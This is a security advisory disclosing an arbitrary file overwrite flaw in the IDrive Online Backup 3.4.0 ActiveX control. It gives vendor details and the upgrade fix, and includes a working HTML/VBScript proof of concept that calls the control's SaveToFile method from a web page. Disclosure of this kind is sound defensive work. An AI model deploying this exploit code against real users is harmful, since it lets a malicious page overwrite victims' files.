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IDrive Online Backup ActiveX control Insecure Method



Vulnerability ID: HTB23025
Reference: http://www.htbridge.ch/advisory/idrive_online_backup_activex_control_insecure_method.html
Product: IDrive Online Backup 
Vendor: Pro Softnet Corporation ( http://www.idrive.com ) 
Vulnerable Version: 3.4.0 and probably prior
Tested on: 3.4.0
Vendor Notification: 15 June 2011 
Vulnerability Type: ActiveX Control Insecure Method
Status: Fixed by Vendor
Risk level: High 
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) 

Vulnerability Details:
High-Tech Bridge SA Security Research Lab has discovered a vulnerability in IDrive Online Backup ActiveX control, which can be exploited to overwrite arbitrary files.

The vulnerability is caused due to the UniBasicPack.UniTextBox (UniBasic100_EDA1811C.ocx) ActiveX control including the insecure "SaveToFile()" method. 
This can be exploited to rewrite arbitrary files in the context of the currently logged-on user.

The following PoC code is available:


<html>
<object classid='clsid:979AE8AA-C206-40EC-ACA7-EC6B6BD7BE5E' id='target' /></object>
<input language=VBScript onclick=Boom() type=button value="Exploit">
<script language = 'vbscript'>

Sub Boom()
arg1="FilePath\File_name_to_rewrite_or_create"
arg2=1
arg3="New_File_Content"
target.Text=arg3
target.SelStart=0
target.SelEnd=Len(arg3)
target.SaveToFIle arg1,arg2
End Sub

</script>
</html>

Solution: Upgrade to the most recent version